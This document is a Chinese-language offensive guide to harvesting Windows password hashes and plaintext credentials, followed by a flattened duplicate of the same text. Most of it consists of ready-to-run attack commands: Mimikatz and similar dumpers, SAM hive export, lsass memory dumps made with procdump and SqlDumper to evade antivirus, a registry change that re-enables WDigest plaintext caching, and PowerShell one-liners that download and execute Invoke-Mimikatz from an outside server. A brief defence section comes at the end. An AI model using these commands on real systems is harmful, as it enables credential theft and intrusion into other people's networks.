windows hash 抓取总结
字数 2114 2025-08-18 11:39:23

Windows Hash 抓取技术全面指南

Windows Hash 基础概念

Windows密码Hash由两部分组成:

  • LM Hash (LAN Manager Hash):微软早期散列加密算法,本质为DES加密
  • NTLM Hash:现代Windows系统主要使用的加密方式

格式组成:username:RID:LM-HASH值:NTLM-HASH值

NTLM-Hash生成方法

  1. 将明文口令转换成十六进制格式
  2. 转换成Unicode格式(在每个字节之后添加0x00)
  3. 对Unicode字符串作MD4加密,生成32位十六进制数字串

示例:

  • 密码:cseroad@2008
  • 十六进制:637365726f61644032303038
  • Unicode字符串:63007300650072006f006100640040003200300030003800
  • NTLM-Hash:82c58d8cec50de01fd109613369c158e

注意:从Windows Server 2008开始,系统默认禁用LM hash。当LM Hash显示为AAD3B435B51404EEAAD3B435B51404EE时,表示空密码或未使用LM_HASH。

Hash获取原理

Windows安全策略通过lsass.exe进程实现(本地安全策略和登录策略)。获取Hash的主要方法包括:

  1. 从内存中的lsass.exe进程导出散列值和明文密码
  2. SAM文件中提取(位于C:\Windows\System32\config目录,该文件被锁定不允许直接复制)

常用Hash抓取工具

1. QuarksPwDump工具

  • 支持系统:Windows XP/2003/Vista/7/2008
  • 功能:抓取本地帐户、域帐户、缓存的域帐户凭据
  • 命令:
    Quarkspwdump.exe --dump-hash-local  # 导出用户NTLM Hash
    
  • 下载:GitHub源码

2. LaZagne工具

  • 功能:不仅能抓取Windows密码,还能获取浏览器缓存密码、SVN密码、WiFi密码、邮箱密码等
  • 支持平台:Windows、Linux、MAC
  • 命令:
    LaZagne.exe all
    
  • 下载:GitHub

3. getpass.exe工具

  • 基于mimikatz编译,可直接获取明文密码
  • 使用方法:直接运行getpass.exe

4. Pwdump7.exe工具

  • 使用方法:将libeay32.dllPwdump7.exe放在同一目录下运行

5. wce工具

  • 分为32位和64位版本
  • 功能:列举登录会话,添加、改变和删除相关凭据
  • 命令:
    wce.exe -w  # 读取系统明文密码
    wme.exe -l  # 获取hash
    

6. PowerShell脚本

Get-PassHashes.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes

Invoke-Mimikatz.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

Out-Minidump.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

7. Mimikatz工具

  • 功能:抓取hash及明文密码
  • 命令:
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
    

Win10/2012R2以上系统注意事项
默认在内存缓存中禁止保存明文密码,可通过修改注册表后重新登录抓取:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

8. SAM表获取hash

  1. 导出SAM和System文件:
    reg save HKLM\SYSTEM sys.hiv
    reg save HKLM\SAM sam.hiv
    
  2. 使用mimikatz读取:
    mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
    

渗透测试框架中的Hash获取

Metasploit框架

  1. hashdump命令(需system权限)
  2. windows/gather/smart_hashdump脚本(获取域内用户hash)
  3. 加载mimikatz模块:
    load mimikatz
    msv  # 获取hash
    kerberos  # 获取明文
    ssp  # 获取明文信息
    tspkg  # 尝试检索tspkg凭据
    wdigest  # 尝试检索wdigest凭据
    mimikatz_command -f samdump::hashes  # 获取hash
    mimikatz_command -f sekurlsa::searchPasswords  # 获取明文密码
    

Cobalt Strike框架

  • Dump Hashes:获取hash
  • Run Mimikatz:运行Mimikatz
  • Beacon命令:
    • hashdump:获取hash值
    • logonpasswords:相当于mimikatz_command -f sekurlsa::searchPasswords

Empire框架

内置mimikatz模块读取hash

免杀技术

1. procdump.exe(微软官方工具)

  1. 导出lsass内存:
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 本地使用mimikatz读取:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

注意:导出的lsass.dmp需要在相同系统环境下解析

2. SqlDumper.exe(微软官方工具)

  1. 查找lsass进程ID:
    tasklist /svc | findstr lsass.exe
    
  2. 导出dump文件:
    Sqldumper.exe <ProcessID> 0 0x01100
    
  3. mimikatz加载:
    mimikatz.exe "sekurlsa::minidumpSQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit
    

3. SharpDump工具

  • Out-Minidump.ps1的C#编译版本
  • 导出文件后缀为.bin,需重命名为.zip后解压
  • 使用mimikatz读取:
    mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
    

Hash破解工具

在线破解网站:

  • https://www.objectif-securite.ch/en/ophcrack
  • http://cracker.offensive-security.com/index.php

防御建议

  1. 禁用LM Hash(已在新版本Windows默认禁用)
  2. 启用Credential Guard(Windows 10/Server 2016+)
  3. 限制对lsass.exe进程的访问
  4. 监控注册表关键项修改(如WDigest设置)
  5. 使用强密码策略增加Hash破解难度
  6. 定期检查异常进程和网络连接

参考资源

  1. 抓Windows密码的几种方式
  2. 一个dumpWindows系统lsass.exe进程的工具
  3. 教你多姿势抓取Windows明文或Hash
Windows Hash 抓取技术全面指南 Windows Hash 基础概念 Windows密码Hash由两部分组成: LM Hash (LAN Manager Hash):微软早期散列加密算法,本质为DES加密 NTLM Hash :现代Windows系统主要使用的加密方式 格式组成: username:RID:LM-HASH值:NTLM-HASH值 NTLM-Hash生成方法 将明文口令转换成十六进制格式 转换成Unicode格式(在每个字节之后添加0x00) 对Unicode字符串作MD4加密,生成32位十六进制数字串 示例: 密码: cseroad@2008 十六进制: 637365726f61644032303038 Unicode字符串: 63007300650072006f006100640040003200300030003800 NTLM-Hash: 82c58d8cec50de01fd109613369c158e 注意:从Windows Server 2008开始,系统默认禁用LM hash。当LM Hash显示为 AAD3B435B51404EEAAD3B435B51404EE 时,表示空密码或未使用LM_ HASH。 Hash获取原理 Windows安全策略通过 lsass.exe 进程实现(本地安全策略和登录策略)。获取Hash的主要方法包括: 从内存中的 lsass.exe 进程导出散列值和明文密码 从 SAM 文件中提取(位于 C:\Windows\System32\config 目录,该文件被锁定不允许直接复制) 常用Hash抓取工具 1. QuarksPwDump工具 支持系统:Windows XP/2003/Vista/7/2008 功能:抓取本地帐户、域帐户、缓存的域帐户凭据 命令: 下载: GitHub源码 2. LaZagne工具 功能:不仅能抓取Windows密码,还能获取浏览器缓存密码、SVN密码、WiFi密码、邮箱密码等 支持平台:Windows、Linux、MAC 命令: 下载: GitHub 3. getpass.exe工具 基于mimikatz编译,可直接获取明文密码 使用方法:直接运行 getpass.exe 4. Pwdump7.exe工具 使用方法:将 libeay32.dll 和 Pwdump7.exe 放在同一目录下运行 5. wce工具 分为32位和64位版本 功能:列举登录会话,添加、改变和删除相关凭据 命令: 6. PowerShell脚本 Get-PassHashes.ps1 Invoke-Mimikatz.ps1 Out-Minidump.ps1 7. Mimikatz工具 功能:抓取hash及明文密码 命令: Win10/2012R2以上系统注意事项 : 默认在内存缓存中禁止保存明文密码,可通过修改注册表后重新登录抓取: 8. SAM表获取hash 导出SAM和System文件: 使用mimikatz读取: 渗透测试框架中的Hash获取 Metasploit框架 hashdump 命令(需system权限) windows/gather/smart_hashdump 脚本(获取域内用户hash) 加载mimikatz模块: Cobalt Strike框架 Dump Hashes :获取hash Run Mimikatz :运行Mimikatz Beacon命令: hashdump :获取hash值 logonpasswords :相当于 mimikatz_command -f sekurlsa::searchPasswords Empire框架 内置mimikatz模块读取hash 免杀技术 1. procdump.exe(微软官方工具) 导出lsass内存: 本地使用mimikatz读取: 注意:导出的lsass.dmp需要在相同系统环境下解析 2. SqlDumper.exe(微软官方工具) 查找lsass进程ID: 导出dump文件: mimikatz加载: 3. SharpDump工具 Out-Minidump.ps1的C#编译版本 导出文件后缀为.bin,需重命名为.zip后解压 使用mimikatz读取: Hash破解工具 在线破解网站: https://www.objectif-securite.ch/en/ophcrack http://cracker.offensive-security.com/index.php 防御建议 禁用LM Hash(已在新版本Windows默认禁用) 启用Credential Guard(Windows 10/Server 2016+) 限制对lsass.exe进程的访问 监控注册表关键项修改(如WDigest设置) 使用强密码策略增加Hash破解难度 定期检查异常进程和网络连接 参考资源 抓Windows密码的几种方式 一个dumpWindows系统lsass.exe进程的工具 教你多姿势抓取Windows明文或Hash